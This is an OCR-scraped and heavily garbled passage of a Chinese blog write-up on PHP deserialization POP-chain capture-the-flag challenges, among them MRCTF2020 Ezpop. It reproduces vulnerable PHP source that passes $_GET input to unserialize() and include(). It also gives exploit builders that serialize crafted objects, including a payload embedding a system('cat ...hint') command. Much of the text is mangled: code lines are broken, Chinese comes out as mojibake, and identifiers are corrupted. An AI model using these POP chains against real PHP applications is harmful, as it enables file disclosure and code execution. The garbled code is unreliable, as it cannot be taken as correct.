CTF RFFFIEN I 151 Ewp

YnG_t0 EF 2022-02-07 19:14:27 1&&0 1287 ﬁ W 3

FRER: web XEHFL: php e

F 2021-10-20 09:53:40 & K K A

PR B . ARSCRIEERAISCE, #15.CC 4.0 BY-SA AU, H8iE M b SCH AR A< 75 B
04 https://blog.csdn.net/qq_47168481/article/details/120771500

FRAL

11 RXE 0T
BT
BEAHEBERFIIN, ZREE-THERRRFIIL: popBEIHiE LK M H

[MRCTF2020]Ezpop
6T fE— T pop#H HIBEVE R E: popH i pA 3L


https://blog.csdn.net/qq_47168481
https://blog.csdn.net/qq_47168481/category_11345895.html
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_47168481/article/details/120771500
https://blog.csdn.net/qq_47168481/category_11345895.html
https://arsenetang.github.io/2021/08/15/%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%25E7%25AF%2587%25E4%25B9%258Bpop%25E9%2593%25BE%25E7%259A%2584%25E6%259E%2584%25E9%2580%25A0%2528%25E4%25B8%258A%2529/

class Modifier {
protected $var;
public function append($value){
include($value);
)i
public function __invoke(){
$this->append($this->var);

class Show{

public $source;

public $str;

public function _ construct($file
$this->source $file;
echo $this->source

)i

public function __ toString(){

return $this->str->source;

public function __ wakeup(){
if(preg_match(
echo g
$this->source

class Test{
public $p;
public function __ construct(){
$this->p = array();

public function _ get($key){
$function $this->p;
return $function();

if(isset($_GET[ ) {
@unserialize($_GET[ 1);

}

else{
$a=new Show;
highlight file(__FILE_ );
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class Modifier |
protected  fvax:

public function append($value) |

: includewvalue)z;l\

P e st eem . __INVOKeRE R TERF SN 8241 E 7 AR
) : T TETest#EpBE—  return $function()aTLLELA

class Show|

public $sflrce:

public $=4:

public furltion __construct($file="index.php’){
Pthls—rsowrce = $file;

echdl "Welcome to . $this—rsource. "¢bx>”;

public funchion _ toString(){

retuln  $this—Dstr—rsource; \
H
{

public funct

if (prdz_mhtch gophe§|http|file|ftp|https|dict|\.\.,-fi', $this—rsource)) | e Eﬁﬂﬁﬁ_’costring% #ﬁ%aﬂiﬂﬁﬁ{??ﬁ%bt@
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class Test| E{li‘_‘%ﬁ‘j_tostring
public $p:
public functim onstrucl) {
$thi=—>p array

public function | _ get($key) [
$function| = $this—>p:
return  $function():

} >
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if (izset($_CET[ pop’ 1)) { o - .
: fnserialize($_GET[ pop’ 1) o unsena||zeﬂ§3ﬁ_wakeup()$§j[
else |
$a=nev Show.
: highlight_file(_FILE_ ) : CSDNM @J YrGeo
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protected $var
b
class Show{

public $source;

Show();
Show();
Test();
Modifier();

source=%$b;
str=%c;
p =%d;

urlencode(serialize(%$a));
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@ Load URL <7php ~
0 - class Flag{ .
& SeitURL private $flag= "flag{b67c60be-d1b4-4d2b-a410-7c49b9ef86e9)"; y

») Execute
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meta charset
php

error_reporting(1);

class Start

{

public $name
public $flag

public function _ construct(){




public function _sayhello(){
echo $this->name;

return

public function _ wakeup(){
echo ;
$this-> sayhello();
)i
public function _ get($cc){
echo $this->flag;

return ;

class Info
{
private $phonenumber=123123;

public $promise ;

public function _ construct(){
$this->promise
return $this->promise;

public function __ toString(){
return $this->file[ ]->ffiillee[

class Room

{

public $filename
public $sth_to_set;
public $a ;

public function _ get($name){
$function $this->a;
return $function();

public function Get_hint($file){
$hint=base64 encode(file_get contents($file));
echo $hint;
return ;

public function _ invoke(){
$content = $this->Get_hint($this->filename);
echo $content;

if(isset($_GET[ )H){
unserialize($ GET][ IDE
}else{

q
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i -> Start: wakeup() ->Start: sayhello() ->Info: toString() ->Room: get() ->

Room: invoke() ->Room:Get hint() ->&E

class Start

public $name="guest’
public $flag="systin{"cat 127.0.0. L/ete/hint”) ;" ;

public function __construct() ]
echo "I think you need feto/hint . Before thiz you need to see the source code”:

H

public function _savhello() |
echo  fthis-rname,
retur "ok’

y

public fungtion __wakeupi) |

echd “hi”; \ %j:

$this-> savhelld() ;

ol
lag “. $this->flag;

public function __getl
echo v‘;’i\v'r. you
return

clazs Info

private Sphonenunber=123123
public $promige="I do’

publie function __construct () |
Jthis-opromise="I will nig
return $this->promise;

public function __toString()|
return $this->file[ filename’ ]->ffiilles[ ffiilleennaanmes’]

LE].J.:: Foom

public §filename=",/¥lag’
public §sth_to_zet

public §a=

public function __get ($name) |
ffunction = $thiz-ra;
return  ffunctiont)

A

1

1 |

public function Gkt_hint($file) | \ E /
fhint=basefd) encode (file_get_contents ($file))

echo  fhint

return /
1
1

public function __invoke() |
Jeontent = fHthiz->Get_hint (§thiz->filename)
echo  foontent;
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<?php

class Start

{
public $name
public $flag

class Info
{
private $phonenumber=123123;

public $promise ;

public function _ construct(){
$this->promise

return $this->promise;

}

class Room

{
public $filename
public $sth_to_ set;
public $%$a ;

new Start();

new Info();

new Room();

new Room();

eI $b;

file[ $c;
a $d;

echo urlencode(serialize($a));
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function echo_name()

{

return

class acp

{
protected $cinder;
public $neutron;
public $nova;
function _ construct()

{

$this->cinder = new pkshow;

}
function __ toString()

{

if (isset($this->cinder))




public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron $heat;
if($this->openstack->neutron $this->openstack->nova)
{
$file {$this->filename}";
if (file_get_contents($file))
{
return file_get contents($file);
)i

else

{

return

if (isset($_GET[ D)

{
$logData unserialize($_GET[ s

echo $logData;
)i

else

{
highlight_file(_ file_ );
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public $neutron
public $nova
protected $cinder;
b
$a=new ace();
print_r(urlencode(serialize(%$a)));
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class acp

{

protected $cinder;

public $neutron;

public $nova;

function _ construct()

{

$this->cinder new ace;

class ace

{
public $filename
public $openstack;

public $docker

$a=new acp();
echo urlencode(serialize($a));
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?php
error_reporting(0);
class begin{

public $ 5
public $mode;
public $content;

public $choice;



$this
$this->content
s
function __ wakeup()
{
if($this->mode )
$this->choice= new write();
bj
if($this->mode ){
$this->choice= new read();

b
function _ call($ ,$content) {

highlight file($this )

b
function _ destruct(){

if($this->mode ){
$this->choice->writewritetxt($this ,$this
)i
else{
$this->choice ($this

class write{
public function writewritetxt($ ,$content)
{
$filename=% . S
if(is_file($filename)){
unlink($filename);
)i
file put contents($filename, $content);

echo ;

}

class read{
public $ 5
public function _ construct(){
$this 5
echo .$this
)i
function ($filename){
$ $this ;
if(is_file($ )){
if($
die(
)i
else{
highlight file($ );
)i

function check($dis_content){
if(preg_match(
die( )5

content);

, $dis_content)){




}

$pop=$_GET[ IE

if (isset($pop)) {
check($pop);

unserialize($pop);
} else {
highlight file(
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